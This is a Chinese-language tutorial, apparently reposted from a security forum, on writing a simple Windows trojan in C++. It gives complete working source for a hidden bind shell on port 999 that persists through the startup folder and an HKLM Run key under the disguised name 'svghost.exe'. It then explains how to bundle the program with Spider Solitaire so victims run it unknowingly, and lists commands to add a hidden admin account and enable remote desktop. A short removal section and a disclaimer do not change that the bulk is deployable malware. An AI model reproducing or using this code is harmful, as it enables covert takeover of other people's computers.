手動編寫windows簡單木馬


​聲明:本帖僅作技術交流,切莫用於非法用途。否則造成的一切法律責任與作者無關。 

"使用C++實現一個簡單的木馬,實現木馬的遠程控制功能,能夠開機自啟動和偽裝或隱藏,最后通過清除本木馬,掌握常規的木馬排查和查殺方法。"

 

工具:vc++6.0

攻擊機:win10(ip隨機) 靶機:192.168.1.129

 

一、木馬是什么?

這是一個老生常談的問題,木馬(Trojan)這個名字來源於古希臘傳說(荷馬史詩中木馬計的故事,Trojan一詞的本意是特洛伊的,即代指特洛伊木馬,也就是木馬計的故事)。

 

二、木馬隱藏技術

木馬會想盡一切辦法隱藏自己,主要途徑有:在任務欄中隱藏自己,這是最基本的辦法。只要把Form的Visible屬性設為False,ShowInTaskBar設為False,程序運行時就不會出現在任務欄中了(MFC編程)。在任務管理器中隱形:將程序設為“系統服務”可以很輕松地偽裝自己。當然它也會悄無聲息地啟動,黑客當然不會指望用戶每次啟動后點擊“木馬”圖標來運行服務端,“木馬”會在每次用戶啟動時自動裝載。Windows系統啟動時自動加載應用程序的方法,“木馬”都會用上,如:啟動組、Win.ini、System.ini、注冊表等都是“木馬”藏身的好地方。木馬與計算機網絡中常常要用到的遠程控制軟件有些相似,但由於遠程控制軟件是“善意”的控制,因此通常不具有隱蔽性;“木馬”則完全相反,木馬要達到的是“偷竊”性的遠程控制,如果沒有很強的隱蔽性的話,那就是“毫無價值”的。

 

三、木馬程序原理:

木馬病毒的工作原理:一個完整的特洛伊木馬套裝程序含了兩部分:服務端(服務器部分)和客戶端(控制器部分)。植入對方電腦的是服務端,而黑客正是利用客戶端進入運行了服務端的電腦。運行了木馬程序的服務端以后,會產生一個有着容易迷惑用戶的名稱的進程,暗中打開端口,向指定地點發送數據(如網絡游戲的密碼,即時通信軟件密碼和用戶上網密碼等),黑客甚至可以利用這些打開的端口進入電腦系統。

 

四、編寫后門型木馬:

編寫一個反彈shell的木馬,能夠偽裝成其他應用程序(掃雷游戲,或者表白代碼等偽裝程序),點擊運行后能夠打開特定的端口(或可使用端口復用技術,更適合與服務器),等待客戶端連接,客戶端使用telnet后,便可反彈拿到shell,然后為所欲為(創建新的賬號密碼,遠程桌面連接等)。

 

木馬能夠實現開機自啟動,任務管理器中在應用程序一欄消失,在進程一欄中偽裝成其他進程。

1.木馬的功能模塊圖

2.代碼實現各個部分

開機自啟動

 

windwos有一個自啟動文件夾。在 系統啟動時會自動運行開始->啟動子菜單中的所有項目

注意:在Documents and Settings文件下有多個文件夾。

Administrator文件夾下的是對當前用戶的專有賬戶生效

All Users文件下是對所有用戶生效

所以一般為了方便我們都放在All Users文件下

要想實現它,我這里先介紹兩個函數:

UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);
DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);

 

1)UINT GetSystemDirectory()函數

這個函數的參數 lpBuffer會返回系統路徑,我們提取前面兩位就是就可以得到系統分區,例如“C:”

2)DWORD GetModuleFileName()函數

這個函數是返回我們程序自身的完整路徑

 

完整代碼:

///寫入注冊表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//
GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//

加入注冊表

自啟動注冊表路徑有許多,大家可以自己了解一下,最常用的有:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

這里我們選擇第一個,來編寫代碼,我們用到的主要函數只有一個:

///寫入注冊表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//
GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//

 

我們分別設置了注冊表的鍵和值,鍵為:kinni,值為FileName,FileName為木馬文件的絕對路徑

開啟端口

 

主要的辦法是:建立CSocket開始,然后綁定端口999,接下來監聽這個端口,然后接收來自客戶端的命令,最后關閉這個CSocket。這是一個比較簡單的正向連接后門程序。這個程序之所以說比較簡單,系統重啟這個木馬就會被清除了。

 

創建socket連接的代碼比較簡單,大家都會,百度一大堆,就不再解釋。

 

先說個小技巧:因為我們寫的cmd木馬,整個過程我們都不需要顯示出cmd的黑窗窗,所以我們可以把cmd窗口直接屏蔽掉,使用:

//設置鏈接器選項
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

  

因為我們最后要反彈本地shell給客戶端,所以我們要先拿到本地cmd.exe的路徑。

//獲取CMD路徑  
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//COMSPEC是代表cmd,獲取更多環境變量可以查看一下本函數的更多參數

  

我們將所有代碼整合一下,得到完整代碼:

#pragma comment(lib,"ws2_32.lib")
//設置連接器選項
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include<windows.h>
#include<stdio.h>
#define MasterPort 999 //定義監聽端口void open_telnet(){
  WSADATA WSADa;//用來存儲被WSAStartup函數調用后返回的win sockets數據
  sockaddr_in SockAddrin;
  SOCKET CSocket, SSocket;
  int AddrSize;
  PROCESS_INFORMATION Processinfo;
  STARTUPINFO Startupinfo;
  char szCMDPath[255];
  //配內存資源,初始化數據
  ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
  //獲取CMD路徑
  GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
  //加載ws2_32.dll
  WSAStartup(0x202, &WSADa);
  //設置本地信息和綁定協議,建立socket
  SockAddrin.sin_family = AF_INET;
  SockAddrin.sin_addr.s_addr = INADDR_ANY;
  SockAddrin.sin_port = htons(MasterPort);
  CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  //設置綁定斷端口999
  bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin));
  //設置服務器監聽端口
  listen(CSocket, 1);
  AddrSize = sizeof(SockAddrin);
  //開始連接遠程服務器,並配置隱藏窗口結構體
  SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
  Startupinfo.cb = sizeof(STARTUPINFO);
  Startupinfo.wShowWindow = SW_HIDE;
  Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  Startupinfo.hStdInput = (HANDLE)SSocket;
  Startupinfo.hStdOutput = (HANDLE)SSocket;
  Startupinfo.hStdError = (HANDLE)SSocket;
  //創建匿名管道
  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
  WaitForSingleObject(Processinfo.hProcess, INFINITE);
  CloseHandle(Processinfo.hProcess);
  CloseHandle(Processinfo.hThread);
  //關閉進程句柄
  closesocket(CSocket);
  closesocket(SSocket);
  WSACleanup();
    //關閉連接卸載ws2_32.dll
}
​
int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value)
{
  HKEY hkResult;  
  int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult);
  if(ret != 0)
    return ret;
  ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75);
  if(ret==0)
  {  
    RegCloseKey(hkResult);
    return 0;
  }  
  else
  {  
    return ret;
  }
}
​
int autopen(const char* key_name, const char* process_path)
{
  char reg_name[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path);
}
​
int main(void)  
{
  char key_name[100];
  char process_path[1024];
  ///寫入啟動文件夾////
  char FileName[MAX_PATH];//存儲程序自身的絕對路徑
  char TempPath[MAX_PATH];//存儲系統存放路徑,主要獲取系統盤盤符
  char TempBuffer[MAX_PATH];
  GetModuleFileName(NULL,FileName,sizeof(FileName));
  GetSystemDirectory(TempPath,sizeof(TempPath));
  sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\svghost.exe",TempPath[0],TempPath[1]);
  CopyFile(FileName,TempBuffer,TRUE);  //將程序復制到啟動文件夾中
  ///寫入注冊表///
  GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name,  sizeof(key_name), ".\\config.ini");
  GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\svghost.exe", process_path,  sizeof(process_path), ".\\config.ini");  
  int ret = autopen(key_name, process_path);
  open_telnet();//遠程telnet  
  return 0;  
} 

 

 

文件偽裝

 

如上,我們代碼編譯運行后,得到一個exe文件,但是我們隱藏了命令行窗口,所以點擊運行后,不會有任何反應。

 

但是誰都不會傻到直接運行這么一個什么都沒有的代碼,我們要跟其他的程序,綁在一起,偷偷執行,讓靶機用戶不知情。

 

我們可以從網上找到一些輔助工具,來幫助我們。我找了一款叫做ExeBinder.exe的軟件。

 

 

這個程序可以將兩個可執行文件捆綁為一個,但是在點擊運行的時候,會同時運行兩個文件。對我們的木馬來說,簡直就是量身定制。

 

首先,將前面我們提到的功能,做一個封裝,寫成一個exe文件:叫做torjan.exe(后面為了偽裝效果,更改了程序名為svghost.exe)

 

再來看看現在的啟動文件夾和注冊表內容:

 

Ok,非常好。

運行一下我們的exe文件

 

可以看到啟動文件夾和注冊表項中,已經添加了。

功能正常,現在我們將它和正常的程序綁在一起,這里選擇了蜘蛛紙牌,當然我們可以選擇自己寫的其他有趣的代碼。

 

3.木馬測試

首先肯定是靶機需要運行一次上面這個木馬,才可以連接。

連接測試

接下來,我們就來測試一下,我們是否能遠程連接到靶機。嘗試使用另一台電腦(win10+Powershell)進行連接

成功彈回了shell。

靶機觀察

 運行后,我們觀察任務管理器:只顯示蜘蛛紙牌,非常nice!

 

我們再來看看進程下面,

 

重啟再連接

 

電腦剛打開,提示開機時間時,已經可以連接到目標。

 

4.更多操作

我們連接到遠程shell后,可以新建一個用戶,然后加入管理員組。

net user admin /add //創建admin 用戶 密碼為空net localgroup adminators admin /add    //賦予admin用戶,管理員權限

然后開啟遠程桌面功能(也就是3389端口),連接后將自己這個用戶隱藏掉。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

but…我在這里,並沒有開啟,原因是命令行提示我參數過多,可能是telnet過來的命令行,有點問題。

大家感興趣可以自己試試。

五、木馬清除

清除木馬,因為本木馬使用了偽裝,復制和注冊表項,我們需要一一清除:

 

首先打開任務管理器,關閉蜘蛛紙牌應用程序,從進程中找到svghost.exe所有者為administrator,結束掉該進程;

然后,打開本地C盤啟動文件夾,刪除svghost.exe程序;

同時,刪除本地的捆綁了木馬的蜘蛛紙牌(或其他應用);

最后,打開注冊表,進入自啟動項(有很多,Run下面的都要仔細檢查,但是本木馬使用了比較經典的位置),HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,刪除包含svghost.exe的對應鍵值關系。

 

重啟電腦。

 

【寫在后面】

*本文獲取shell的部分參考了下面的安全牛大佬的帖子:https://bbs.ichunqiu.com/thread-6935-1-1.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM